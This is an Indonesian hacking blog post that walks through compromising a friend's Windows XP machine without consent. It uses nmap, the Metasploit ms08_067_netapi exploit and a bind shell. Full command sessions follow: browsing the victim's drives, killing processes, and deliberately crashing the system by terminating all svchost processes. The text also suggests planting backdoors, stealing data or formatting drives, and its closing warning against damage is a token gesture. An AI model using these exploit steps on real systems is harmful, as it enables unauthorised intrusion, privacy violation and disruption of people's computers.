Djarum Black: Jebol Windus XP SP1/SP2/SP3 dengan metaexploit

Sebenarnya udah lumayan lama trik ini, tapi hanya males n sok sibuk gitu, trus blon se4 nuliz… habis web ane habis di delete ama hostingnya.. kepaksa ngerakit lagi di blog cupu ini dan tanpa modal… ha..

langsung aja yach, kali ini saya nyoba ngeHack komputer teman satu jaringan dengan saya yang makek jendela(wind***XP) dan ane sendiri make linux slackware. Lewat windus juga bisa sich, tapi ane g’ ada install winduws di lepi kesayangan ane…. pertama kita cari target dluw dengan melakukan scanning menggunakan nmap.

karuwak@karuwak:/mnt/lin1/Tool-Download/framework-3.2$ nmap -sP 192.168.1.144/28
Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-11 23:57 WIT
Host 192.168.1.145 appears to be up.
Host 192.168.1.146 appears to be up.
Host 192.168.1.150 appears to be up.
Host karuwak.kos (192.168.1.158) appears to be up.
Nmap done: 16 IP addresses (4 hosts up) scanned in 2.28 seconds

wah ternyata ada 3 host yang hidup… Kita ambil target dengan ip 192.168.1.150 ya.. Tapi buka dlu metaexploitnya cuy..

karuwak@karuwak:/mnt/lin1/Tool-Download/framework-3.2$ ./msfconsole
#    # ###### #####   ##    #### ##### #       #### # #####
## ## #        #    # # #      #    # #      #    # #   #
# ## # #####    #   #    # #### #    # #      #    # #   #
#    # #        #   ######      # ##### #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    # #### #      ###### #### #   #
=[ msf v3.2-release
+ -- --=[ 179 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 30 aux
msf >

Selanjutnya kita hajar aja... upsss!! jangan pernah ngerusak... cukup di lihat aja data2 pada kompi dia yach.. jangan juga ampe delet data dia.. cukup matiin kompi dia... hiii....

Gunakan exploit/windows/smb/ms08_067_netapi, karena kita jebol lewat service netbiosnya winduws...

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Set payloadnya windows/shell_bind_tcp

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

Tentukan target 192.168.1.150

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.150
RHOST => 192.168.1.150

Gunakan PORT 445 yang akan kita serang...

msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445

Sekarang, lihat dlu option yang ada dengan perintah "show options"

msf exploit(ms08_067_netapi) > show options
Module options:
Name     Current Setting Required Description
----     --------------- -------- -----------
RHOST    192.168.1.150    yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_bind_tcp):
Name      Current Setting Required Description
----      --------------- -------- -----------
EXITFUNC thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST     192.168.1.150    no        The target address
Exploit target:
Id Name
-- ----
0   Automatic Targeting

Kalau sudah benar dan telah ditentukan targetnya dan target yang kita serang dipilih otomatis detect OSnya, apa itu SP1/2/3. Aaatnya seranggggg dengan perintah "exploit"

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability…
[*] Command shell session 1 opened (192.168.1.158:60233 -> 192.168.1.150:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Wah.. ternyata target kita menggunakan XP SP3… he.. sekarang kita udah berada dalam komputer dia. Yang kita dapatkan hanya shell DOS / CMD nya aja… so, kita harus familiar dengan perintah DOS (kembali ke jaman batu).
Mungkin ada enaknya kita lihat dulu nama orannya dengan perintah “net user”

C:\WINDOWS\system32>net user
net user
User accounts for \\
——————————————————————————-
Administrator Guest HelpAssistant
Rayzovic SUPPORT_388945a0
The command completed with one or more errors.

Ternyata user login windusnya adalah Rayzovic… sekarang kita lihat hardisnya dlu yaw dengan “net share”

C:\WINDOWS\system32>net share
net share
Share name   Resource                        Remark
——————————————————————————-
IPC$                                         Remote IPC
D$           D:\                             Default share
ADMIN$       C:\WINDOWS                      Remote Admin
C$           C:\                             Default share
E$           E:\                             Default share
The command completed successfully.

wah, ternyata ada 3 partisi di kompi dia, yaitu partisi C,D, dan E. Kita main-main ke Drive D nya dlu yaw, mana tau ada file penting (bokep) gitu yang kesimpen.

C:\WINDOWS\system32>d:
d:
D:\>

sekarang chek datanya dengan perintah “dir”

D:\>dir
dir
Volume in drive D is DATA
Volume Serial Number is 08BA-145B
Directory of D:\
09/22/2008 07:22 AM

wah… gak ada yang pernting nich.. mending dicek dlu direktory E nya.. mana tau ada yang bagus…

D:\>e:
e:
E:\>dir
dir
Volume in drive E is SOLACE
Volume Serial Number is 04C5-867F
Directory of E:\
02/04/2008 08:25 PM

Ternyata juga g’ ada yang menarik di datanya… sekarang kita lihat apa aja yang sedang dia buka pada komputernya dengan perintah “tasklist”

E:\>tasklist
tasklist
Image Name                   PID Session Name     Session#    Mem Usage
========================= ====== ================ ======== ============
System Idle Process            0 Console                 0         28 K
System                         4 Console                 0         52 K
smss.exe                     880 Console                 0         92 K
csrss.exe                    940 Console                 0      3,024 K
winlogon.exe                 968 Console                 0      2,528 K
services.exe                1012 Console                 0      1,532 K
lsass.exe                   1024 Console                 0      1,400 K
svchost.exe                 1200 Console                 0      2,064 K
svchost.exe                 1248 Console                 0      1,824 K
svchost.exe                 1368 Console                 0     13,888 K
btwdins.exe                 1392 Console                 0        612 K
svchost.exe                 1444 Console                 0      1,868 K
svchost.exe                 1584 Console                 0      4,084 K
spoolsv.exe                 1904 Console                 0      2,440 K
explorer.exe                 272 Console                 0     27,708 K
rundll32.exe                 640 Console                 0        628 K
RTHDCPL.exe                  648 Console                 0      5,168 K
SynTPEnh.exe                 696 Console                 0      1,924 K
QtZgAcer.EXE                 704 Console                 0      2,292 K
logon.exe                    824 Console                 0      1,276 K
NMBgMonitor.exe              860 Console                 0      1,360 K
msmsgs.exe                   888 Console                 0        916 K
ctfmon.exe                   904 Console                 0      1,096 K
BTTray.exe                  1492 Console                 0      1,812 K
NMIndexStoreSvr.exe         1580 Console                 0     30,728 K
RtkBtMnt.exe                 164 Console                 0        632 K
agrsmsvc.exe                 544 Console                 0        252 K
jqs.exe                      564 Console                 0      1,716 K
nvsvc32.exe                  616 Console                 0      1,092 K
svchost.exe                  804 Console                 0      2,324 K
alg.exe                     1472 Console                 0        748 K
wscntfy.exe                 2424 Console                 0        604 K
svchost.exe                 2940 Console                 0        980 K
YAHOOM~1.EXE                 584 Console                 0     53,044 K
msimn.exe                   3704 Console                 0      1,036 K
firefox.exe                 2744 Console                 0    238,624 K
winamp.exe                  3332 Console                 0     13,172 K
1r2Ujp66.exe                 212 Console                 0      3,204 K
IEXPLORE.EXE                3192 Console                 0     31,684 K
notepad.exe                 2320 Console                 0      9,264 K
cmd.exe                     3956 Console                 0      2,640 K
Kamus2.exe                  2784 Console                 0        428 K
tasklist.exe                3132 Console                 0      4,120 K
wmiprvse.exe

Wah, parah juga nich anak, ternyata banyak virus dikomputer dia, mau di matiin g’ ya virusnya??? dimatiin ajalah. habis jebol kan dosa, sekarang kita tambal dosanya dengan mematikan VIRUS dikomputer dia. Cukup dengan perintah “taskkill (nama proses)” aja kok… disini yang saya perkirakan virus adalah msimn.exe,nvsvc32,rundll32.exe,msmsgs.exe dan 1r2Ujp66.exe. Nama virusnya saya g’ tau, yang penting kita harus nembus dosa kita dengan cara matiin virusnya. Perintah yang digunakan menjadi “taskkill /f /im 1r2Ujp66.exe /im msimn.exe /im nvsvc32 /im rundll32.exe /im msmsgs.exe”

E:\>taskkill /f /im 1r2Ujp66.exe /im msimn.exe /im nvsvc32 /im rundll32.exe /im msmsgs.exe
taskkill /f /im 1r2Ujp66.exe /im msimn.exe /im nvsvc32 /im rundll32.exe /im msmsgs.exe
SUCCESS: The process “rundll32.exe” with PID 640 has been terminated.
SUCCESS: The process “msmsgs.exe” with PID 888 has been terminated.
SUCCESS: The process “msimn.exe” with PID 3704 has been terminated.
SUCCESS: The process “1r2Ujp66.exe” with PID 212 has been terminated.
ERROR: The process “nvsvc32″ not found.

Ternyata ada eror dengan nvsvc32, katanya tidak ditemukan, ya iyalah.. soalnya .exe-nya ketinggalan…

E:\>taskkill /f /im nvsvc32.exe
taskkill /f /im nvsvc32.exe
SUCCESS: The process “nvsvc32.exe” with PID 616 has been terminated.

Tu…. kan mati juga dia… Ampe segini aja deh.. g’ enak kepanjangan posrtingannya.. he.. Ampe disini, terserah anda aja mau diapain kompi dia, dari masang backdoor, isi virus, delet datanya, maling datanya, bahkan format drivenya… Kalau matiin kompi dia gimana ya??? matiin ajalah… soalnya dah jam 00.35 nich… dah malam tetap aja main komputer.. dah malam nak.. ha..ha..

E:\>taskkill /f /im svchost.exe
taskkill /f /im svchost.exe
SUCCESS: The process “svchost.exe” with PID 1200 has been terminated.
SUCCESS: The process “svchost.exe” with PID 1248 has been terminated.
SUCCESS: The process “svchost.exe” with PID 1368 has been terminated.
SUCCESS: The process “svchost.exe” with PID 1444 has been terminated.
SUCCESS: The process “svchost.exe” with PID 1584 has been terminated.

Habis ntu, komputer dia akan mengeluarkan error trus bakalan mati kira2 60 detik, kemudian koneksi kita putus de dari dia setelah komputer dia mati. he..
Mau g’ kena soal beginian, makanya jangan make lagi jendela(wind***), makek linux/unix dung.. Namanya aja jendela, so, orang lain bisa masuk kejendelanya ntuch… kiccccckk.. :
Saran dari saya yang suka jail ini nich, DILARANG KERAS MERUSAK KOMPUTER ORANG / DATANYA, APALAGI TEMAN SENDIRI.. kan kasihan juga… he..